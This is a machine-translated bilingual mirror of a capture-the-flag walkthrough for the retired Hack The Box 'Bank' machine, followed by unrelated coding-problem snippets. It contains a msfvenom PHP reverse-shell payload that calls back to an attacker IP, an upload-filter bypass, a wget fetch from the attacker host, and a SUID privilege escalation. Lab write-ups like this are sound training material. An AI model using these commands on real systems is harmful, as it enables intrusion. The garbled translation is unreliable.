推箱子2-向右推!_保持冷靜,砍箱子-銀行

推箱子2-向右推!

Hack The Box (HTB) is an online platform allowing you to test your penetration testing skills. It contains several challenges that are constantly updated. Some of them are simulating real world scenarios and some of them lean more towards a CTF style of challenge.

Hack The Box(HTB)是一個在線平臺,可讓您測試滲透測試技能。 它包含一些不斷更新的挑戰。 他們中的一些人正在模擬現實世界的場景,而另一些人則更傾向于CTF的挑戰風格。

Note. Only write-ups of retired HTB machines are allowed.

注意只允許注銷HTB機器。

Bank is a relatively simple machine, however proper web enumeration is key to finding the necessary data for entry

銀行是一臺相對簡單的機器,但是正確的Web枚舉對于找到必要的輸入數據至關重要

We will use the following tools to pawn the box on a Kali Linux box:

我們將使用以下工具在Kali Linux盒子上放置盒子 :

  • nmap

    納帕
  • gobuster

    猛擊者
  • Searchsploit

    Searchsploit
  • msfconsole

    msfconsole
  • metasploit

    元胞
  • meterperter

    計價器
  • LinEnum

    LinEnum

Let's get started.

讓我們開始吧。

第1步-偵察 (Step 1 - Reconnaissance)

The first step before exploiting a machine is to do a little bit of scanning and reconnaissance.

開發機器之前的第一步是進行一些掃描和偵察。

This is one of the most important parts as it will determine what you can try to exploit afterwards. It is always better to spend more time on this phase to get as much information as you can.

這是最重要的部分之一,因為它將決定您以后可以嘗試利用的內容。 在此階段花更多的時間來獲取盡可能多的信息總是更好的選擇。

端口掃描 (Port scanning)

I will use Nmap (Network Mapper). Nmap is a free and open source utility for network discovery and security auditing. It uses raw IP packets to determine what hosts are available on the network, what services those hosts are offering, what operating systems they are running, what type of packet filters/firewalls are in use, and dozens of other characteristics.

我將使用Nmap(網絡映射器)。 Nmap是一個免費的開源實用程序,用于網絡發現和安全審核。 它使用原始IP數據包來確定網絡上可用的主機,這些主機提供的服務,它們正在運行的操作系統,使用的數據包過濾器/防火墻的類型以及許多其他特征。

There are many commands you can use with this tool to scan the network. If you want to learn more about it, you can have a look at the documentation here.

此工具可以使用許多命令來掃描網絡。 如果您想了解更多信息,可以在這里查看文檔。

I use the following command to perform an intensive scan:

我使用以下命令執行密集掃描:

nmap -A -v bank.htb

-A: Enable OS detection, version detection, script scanning, and traceroute

-A:啟用操作系統檢測,版本檢測,腳本掃描和跟蹤路由

-v: Increase verbosity level

-v:提高詳細程度

bank.htb: hostname for the Bank box

bank.htb: “銀行”框的主機名

If you find the results a little bit too overwhelming, you can do another command to get only the open ports.

如果發現結果有點不堪重負,則可以執行另一個命令以僅獲取打開的端口。

nmap bank.htb

We can see that there are 3 open ports:

我們可以看到有3個開放端口:

Port 22, Secure Shell (SSH), secure logins, file transfers (scp, sftp) and port forwarding

端口22 ,安全外殼(SSH),安全登錄,文件傳輸(scp,sftp)和端口轉發

Port 53, Domain Name System (DNS)

端口53 ,域名系統(DNS)

Port 80, most often used by Hypertext Transfer Protocol (HTTP)

端口 80 ,超文本傳輸??協議(HTTP)最常使用的端口

目錄掃描 (Directory scanning)

I use Gobuster. Gobuster is a directory scanner written in Go. More info on the tool here. Gobuster uses wordlists on Kali which are located in the /usr/share/wordlists directory. I'm using wordlists from dirb and dirbuster, but you can download more wordlists from SecLists here

我用Gobuster。 Gobuster是用Go編寫的目錄掃描程序。 在工具更多信息在這里 。 Gobuster在/ ali / share / wordlists目錄中的Kali上使用單詞表。 我正在使用來自dirbdirbuster的單詞列表,但是您可以在此處從SecLists下載更多單詞列表

I use this command for the dirb common.txt wordlist

我將此命令用于dirb common.txt單詞表

gobuster dir -u bank.htb -w /usr/share/wordlists/dirb/common.txt

I can see some interesting folders. I do another directory scan with a different wordlist.

我可以看到一些有趣的文件夾。 我用另一個單詞表進行另一個目錄掃描。

gobuster dir -u bank.htb -w /usr/share/worldlists/dirbuster/directory-list-lowercase-2.3-medium.txt

第2步-訪問網頁 (Step 2 - Visiting the web page)

From the reconnaissance phase, I decide to start with port 80. It points to an Apache2 Ubuntu Default page. We need to set the hostname. We will follow the standard convention for the HTB machines, bank.htb

在偵察階段,我決定從端口80開始。它指向Apache2 Ubuntu Default頁面。 我們需要設置主機名。 我們將遵循HTB機器的標準慣例bank.htb

I add bank on the /etc/hosts file

我在/ etc / hosts文件中添加銀行

nano /etc/hosts

with

10.10.10.29     bank.htb

I check the file with

我檢查文件

cat /etc/hosts

When I navigate to bank.htb, I can see a login page now

當我導航到bank.htb時,我現在可以看到一個登錄頁面

From the gobuster reconnaissance, I found some folders. I navigate to /balance-transfer

從魔術師的偵察中,我找到了一些文件夾。 我導航到/ balance-transfer

I have a look at a couple of files. All the files seems to have the full name, email and password encrypted.

我看幾個文件。 所有文件似乎都已加密了全名,電子郵件和密碼。

I go back to the main page and I click on the Size tab to sort the transfers. I can see that one of the file is different

我回到主頁,然后單擊“ 大小”選項卡對傳輸進行排序。 我可以看到其中一個文件不同

When I click on the file, I see an error message at the top. The encryption failed for this file. I can see all the details in plain text

當我單擊文件時,在頂部看到錯誤消息。 該文件的加密失敗。 我可以用純文本形式查看所有詳細信息

I go back to the login panel and enter the credentials. I now have access to the dashboard of the HTB Bank. Nothing interesting on this page, so I move to the Support page

我返回登錄面板并輸入憑據。 我現在可以訪問HTB銀行的儀表板。 此頁面上沒有任何有趣的內容,因此我轉到“ 支持”頁面

On the Support page, I can upload files. I will try to upload a payload

在支持頁面上,我可以上傳文件。 我將嘗試上傳有效載荷

第3步-使用MSFvenom進行漏洞利用 (Step 3 - Using MSFvenom to craft an exploit)

We will use MSFvenom, which is a payload generator . You can learn more about it here

我們將使用MSFvenom,它是有效負載生成器。 您可以在此處了解更多信息

But first, let's see on Metasploit Framework which payload we could use to craft our exploit

但是首先,讓我們在Metasploit Framework上看看我們可以使用哪些有效載荷來制作漏洞利用程序

We know that we need to create a reverse shell, which is a type of shell in which the target machine communicates back to the attacking machine. The attacking machine has a listener port on which it receives the connection, which by using, code or command execution is achieved.

我們知道我們需要創建一個反向shell ,這是目標計算機與攻擊計算機進行通信的一種shell。 攻擊機具有一個偵聽器端口,在偵聽器端口上接收連接,通過使用該連接,可以執行代碼或命令。

The reverse TCP shell should be for PHP and we will use Meterpreter

反向TCP Shell應該用于PHP,我們將使用Meterpreter

From the Offensive Security website, we get this definition for Meterpreter

從“進攻性安全”網站上,我們獲得了Meterpreter的定義

Meterpreter is an advanced, dynamically extensible payload that uses in-memory DLL injection stagers and is extended over the network at runtime. It communicates over the stager socket and provides a comprehensive client-side Ruby API. It features command history, tab completion, channels, and more.

Meterpreter是一種高級的,動態可擴展的有效負載,它使用內存中的 DLL注入暫存器,并在運行時通過網絡進行了擴展。 它通過暫存器套接字進行通信,并提供全面的客戶端Ruby API。 它具有命令歷史記錄,制表符完成,通道等功能。

You can read more about Meterpreter here

您可以在此處閱讀有關Meterpreter的更多信息

I launch Metasploit and search for reverse TCP payloads. I use the following command

我啟動Metasploit并搜索反向TCP有效負載。 我使用以下命令

search php meterpreter reverse_tcp

I find an interesting payload, number 594, which is a Reverse TCP Stager. This payload injects the meterpreter server DLL via the Reflective Dll Injection payload and connects back to the attacker

我找到了一個有趣的有效載荷,編號594,它是反向TCP階段程序 該有效負載通過Reflective Dll Injection有效負載注入抄表器服務器DLL,并連接回攻擊者

payload/php/meterpreter/reverse_tcp

Now let's go back to msfvenom to craft our exploit

現在讓我們回到msfvenom來進行我們的利用

I use the following command

我使用以下命令

msfvenom -p php/meterpreter/reverse_tcp lhost=10.10.14.36 lport=443 -f raw > HTBbankshell.php

I then check with ls if the file has been created

然后我與ls檢查是否已創建文件

and I cat the file to see the exploit with

然后我整理文件以查看漏洞利用

cat HTBbankshell.php

I go back to the support page. I add the title, the message and upload the file on the form

我回到支持頁面。 我添加標題,消息并將文件上傳到表單上

I click on the submit button and I see an error message. The file type doesn't seem to work

我單擊提交按鈕,然后看到錯誤消息。 文件類型似乎不起作用

I check the source code and I see a comment that indicates that the file extension .htb is needed to execute php for debugging purposes only

我檢查了源代碼,并看到一條注釋,該注釋指示文件擴展名.htb是執行php所需的,僅用于調試目的

I then change the extension of my payload from HTBbankshell.php to HTBbankshell.htb

然后,我將有效負載的擴展名從HTBbankshell.php更改HTBbankshell.htb

My file is now ready to be uploaded on the support page

我的文件現在可以在支持頁面上載了

And it seems to work! The payload has been uploaded on the support page

它似乎有效! 有效負載已上傳到支持頁面上

第4步-使用Metasploit設置偵聽器 (Step 4 - Setting up a listener with Metasploit)

Back on Metasploit where I use the following command to set the payload handler

回到Metasploit,在這里我使用以下命令設置有效負載處理程序

use exploit/multi/handler

I first set up the payload

我首先設置有效載荷

set payload php/meterpreter/reverse_tcp

Then the LHOST

然后LHOST

set lhost 10.10.14.36

And finally the LPORT

最后是LPORT

set lport 4444

If we check the options now, we should see that everything is set up

如果我們現在檢查選項,我們應該看到一切都已設置

Let's run the exploit.

讓我們運行漏洞利用程序。

After this message appears

此消息出現后

Started reverse TCP handler on 10.10.14.36:4444

go back to the browser and refresh the page where the malicious script is hosted

返回瀏覽器并刷新托管惡意腳本的頁面

bank.htb/uploads/HTBbankshell.php

You should then see a Meterpreter session created

然后,您應該看到一個Meterpreter會話已創建

I start by gathering some information with getuid which returns the real user ID of the calling process and sysinfo

我首先使用getuid收集一些信息,該信息返回調用進程和sysinfo的真實用戶ID。

步驟5-尋找user.txt標志 (Step 5 - Looking for the user.txt flag)

I start navigating to root and list the folders/files.

我開始導航到root并列出文件夾/文件。

I move to the home directory with

我將移動到目錄

cd home

And I can see a user called chris

我可以看到一個叫chris的用戶

I move to the chris directory and when I list the files...

我移到chris目錄,當我列出文件時...

I find the user.txt file! To read the content of the file I use the command

我找到了user.txt文件! 要讀取文件的內容,請使用以下命令

cat user.txt

Now that we have the user flag, let's find the root flag!

現在有了用戶標志,讓我們找到根標志!

步驟6-執行特權升級 (Step 6 - Performing Privilege Escalation)

I try to navigate to the root folder and the access is denied

我嘗試導航到根文件夾,但訪問被拒絕

I will use LinEnum to enumerate more information from this machine. LinEnum is used for scripted local Linux enumeration and privilege escalation checks. More info here

我將使用LinEnum枚舉此機器的更多信息。 LinEnum用于腳本化的本地Linux枚舉和特權升級檢查。 更多信息在這里

I fetch LinEnum from GitHub with

我從GitHub上獲取LinEnum

wget https://https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh

I check with this command if the script has been correctly fetched

我使用此命令檢查腳本是否已正確提取

ls -la

I use the following command

我使用以下命令

chmod 777 LinEnum.sh

to change the file permission and make it readable, writable and executable by everyone

更改文件權限并使其所有人可讀,可寫和可執行

Within meterpreter I check the location of the file with

在meterpreter中,我使用以下命令檢查文件的位置

lls -S "LinEnum.sh"

I start a php server on another terminal with

我在另一個終端上啟動一個php服務器

php -S 10.10.14.36:4444

I type the following command to get a standard shell on the target system

我鍵入以下命令以在目標系統上獲取標準外殼

shell

I spawn a TTY shell with

我生成了一個TTY shell

python3 -c 'import pty;pty.spawn("/bin/bash/")'

And I transfer the file to the machine with

然后我將文件傳輸到機器

wget http://10.10.14.36:4444/LinEnum.sh -O /tmp/LinEnum.sh

where I copy the file from my Kali box to the machine temp folder

我將文件從我的Kali盒復制到機器臨時文件夾的位置

I then navigate to the temp folder to check if the file has been correctly moved

然后,我導航到temp文件夾以檢查文件是否已正確移動

I then run the script with

然后,我使用

sh ./LinEnum.sh

The scan gives me a lot of information. I look for the interesting files section. I check the SUID files section. SUID is defined as giving temporary permissions to a user to run a program/file with the permissions of the file owner rather that the user who runs it

掃描為我提供了很多信息。 我在尋找有趣的文件部分。 我檢查了SUID文件部分。 SUID定義為授予用戶臨時權限,使其具有文件所有者(而不是運行它的用戶)的權限來運行程序/文件

I spot an interesting file

我發現了一個有趣的文件

/var/htb/bin/emergency

I navigate to var/htb/emergency

我導航到var / htb / emergency

I run it with

我用

./emergency

and I'm asked if I want to get a root shell :)

并詢問我是否要獲得root shell :)

I have root access to the machine

我具有對該計算機的root訪問權限

I can now navigate to the root folder

我現在可以導航到文件夾

I find the root.txt file!

我找到了root.txt文件!

To read the content of the file I use the command

要讀取文件的內容,請使用以下命令

cat root.txt

Congrats! You found both flags!

恭喜! 您找到了兩個標志!



Please don’t hesitate to comment, ask questions or share with your friends :)

請不要猶豫,發表評論,提問或與您的朋友分享:)

You can see more of my articles here

您可以在這里看到更多我的文章

You can follow me on Twitter or on LinkedIn

您可以在Twitter或LinkedIn上關注我

And don't forget to #GetSecure, #BeSecure & #StaySecure!

并且不要忘記# GetSecure ,# BeSecure#StaySecure



Other Hack The Box articles

其他Hack The Box文章

  • Keep Calm and Hack The Box - Lame

    保持冷靜并砍箱子-me腳

  • Keep Calm and Hack The Box - Legacy

    保持冷靜并打破常規-舊版

  • Keep Calm and Hack The Box - Devel

    保持冷靜并打破僵局-開發

  • Keep Calm and Hack The Box - Beep

    保持冷靜并砍箱子-嗶

  • Keep Calm and Hack The Box - Optimum

    保持冷靜并打破僵局-最佳

  • Keep Calm and Hack The Box - Arctic

    保持冷靜,砍箱子-北極

  • Keep Calm and Hack The Box - Grandpa

    保持冷靜,砍箱子-爺爺

  • Keep Calm and Hack The Box - Granny

    保持冷靜,砍箱子-奶奶

翻譯自: https://www.freecodecamp.org/news/keep-calm-and-hack-the-box-bank/

推箱子2-向右推!

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/390126.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/390126.shtml
英文地址,請注明出處:http://en.pswp.cn/news/390126.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

611. 有效三角形的個數

611. 有效三角形的個數 給定一個包含非負整數的數組,你的任務是統計其中可以組成三角形三條邊的三元組個數。 示例 1: 輸入: [2,2,3,4] 輸出: 3 解釋: 有效的組合是: 2,3,4 (使用第一個 2) 2,3,4 (使用第二個 2) 2,2,3注意: 數組長度不超過1000。數組里整數的范…

python學習day04

一:今天是一個學習列表后的實踐訓練 購物小程序: #codeing:UTF-8 #__author__:Duke #date:2018/3/1/001product_list [(mac,7000),(bike,1000),(phone,2000),(kindle,800),(iwatch,3000), ]; shopping_car []; saving input("please input your …

mybatis多產數_freeCodeCamp杰出貢獻者–我們如何選擇,認可和獎勵多產的志愿者

mybatis多產數freeCodeCamp.org is only possible thanks to the thousands of contributors around the world who help expand and improve the community. They do this mainly through:感謝全球各地成千上萬的貢獻者,他們致力于擴大和改善社區,因此f…

502. IPO

502. IPO 假設 力扣(LeetCode)即將開始 IPO 。為了以更高的價格將股票賣給風險投資公司,力扣 希望在 IPO 之前開展一些項目以增加其資本。 由于資源有限,它只能在 IPO 之前完成最多 k 個不同的項目。幫助 力扣 設計完成最多 k 個…

記一次打包的詭異現象

一、前情提要: 今天線上打包,發現啟動正常,但是訪問異常,看日志也沒有打印出什么異常信息。 更新的微服務包訪問的時候一直報出【403】,訪問被拒 項目架構:springBoot maven 二、機緣巧合: 上午…

轉載:mysql存儲過程講解

記錄MYSQL存儲過程中的關鍵語法: DELIMITER // 聲明語句結束符,用于區分; CEATE PROCEDURE demo_in_parameter(IN p_in int) 聲明存儲過程 BEGIN …. END 存儲過程開始和結束符號 SET p_in1 變量賦值 DECLARE l_int int unsigned default 4000000; 變…

Diffie-Hellman:安全網絡通信背后的天才算法

Lets start with a quick thought experiment.讓我們從快速思考實驗開始。 You have a network of 3 computers, used by Alice, Bob, and Charlie. All 3 participants can send messages, but just in a way that all other clients who connected to the network can read …

掃盲丨關于區塊鏈你需要了解的所有概念

掃盲丨關于區塊鏈你需要了解的所有概念 如今存儲信息的方式有什么問題? 目前,支配我們生活的數據大部分都儲存在一個地方,不論是在私人服務器、云、圖書館或檔案館的紙上。大多數情況下這很好,但這也容易受到攻擊。 最近有消息稱&…

SpringBoot環境切換

2019獨角獸企業重金招聘Python工程師標準>>> 1.在application.yml中配置,如果java -jar banke-boot-bd-api-0.0.1-SNAPSHOT.jar,那么就是已application-test作為啟動的配置文件啟動 spring: profiles: active: test 2.如果java -jar banke-bo…

linux tar cvf_Linux中的Tar命令:Tar CVF和Tar XVF通過示例命令進行了解釋

linux tar cvfThe name tar is, by most accounts, short for tape archive. The "tapes" in question would be all those magnetic storage drives that were popular all the way back in the 1950s. 在大多數情況下, tar是磁帶歸檔的縮寫。 有問題的“…

1894. 找到需要補充粉筆的學生編號

1894. 找到需要補充粉筆的學生編號 一個班級里有 n 個學生,編號為 0 到 n - 1 。每個學生會依次回答問題,編號為 0 的學生先回答,然后是編號為 1 的學生,以此類推,直到編號為 n - 1 的學生,然后老師會重復…

[No0000B0]ReSharper操作指南1/16-入門與簡介

安裝指南 在安裝之前,您可能需要檢查系統要求。 ReSharper是一個VisualStudio擴展。它支持VisualStudio2010,2012,2013,2015和2017.安裝完成后,您將在VisualStudio的主菜單中找到新的ReSharper條目。大多數ReSharper命令都可以在這個菜單中找到。但是&a…

更改H2元素的顏色

In coding there are often many different solutions to a given problem. This is especially true when it comes to styling an HTML element.在編碼中,對于給定問題通常有許多不同的解決方案。 在樣式化HTML元素時,尤其如此。 One of the easiest …

[CTSC2008]圖騰totem

(圖騰這題做的我頭疼 233) 記 f(xxxx) 為 xxxx 出現的次數,那么題目就是要求 f(1324) - f(1243) - f(1432) 最有難度的是把上面的式子轉化一下,變成 f(1x2x) - f(14xx) - f(12xx) f(1234) 這點除非對 f 的求法能一眼看出來&#…

Box Shadow CSS教程–如何向任何HTML元素添加投影

We can add a drop shadow to any HTML element using the CSS property box-shadow. Heres how. 我們可以使用CSS屬性box-shadow將陰影添加到任何HTML元素。 這是如何做。 添加基本??投影 (Adding a Basic Drop Shadow) Lets first set up some basic HTML elements to add…

數據結構學習筆記(一)——《大話數據結構》

第一章 數據結構緒論 基本概念和術語 數據 描述客觀事物的符號,計算機中可以操作的對象,能被計算機識別并輸入給計算機處理的符號的集合。包括整型、實型等數值類型和字符、聲音、圖像、視頻等非數值類型。 數據元素 組成數據的、有一定意義的基本單位&a…

6. Z 字形變換

6. Z 字形變換 將一個給定字符串 s 根據給定的行數 numRows ,以從上往下、從左到右進行 Z 字形排列。 比如輸入字符串為 “PAYPALISHIRING” 行數為 3 時,排列如下: P A H N A P L S I I G Y I R之后,你的輸出需要從…

java的垃圾回收機制包括:主流回收算法和收集器(jvm的一個主要優化方向)

2019獨角獸企業重金招聘Python工程師標準>>> java的垃圾回收機制是java語言的一大特色,解放了開發人員對內存的復雜控制,但如果你想要一個高級java開發人員,還是需要知道其機制,所謂不僅要會用還要知道其原理這樣才能用…

北京dns服務器ip地址_什么是DNS? 域名系統,DNS服務器和IP地址概念介紹

北京dns服務器ip地址介紹 (Introduction) By the end of this article, you should have a better understanding of:在本文末尾,您應該對以下內容有更好的了解: What DNS is and what it does 什么是DNS及其作用 What DNS servers do DNS服務器做什么 …

767. 重構字符串

767. 重構字符串 給定一個字符串S,檢查是否能重新排布其中的字母,使得兩相鄰的字符不同。 若可行,輸出任意可行的結果。若不可行,返回空字符串。 示例 1: 輸入: S “aab” 輸出: “aba” 示例 2: 輸入: S “aaab” 輸出: “…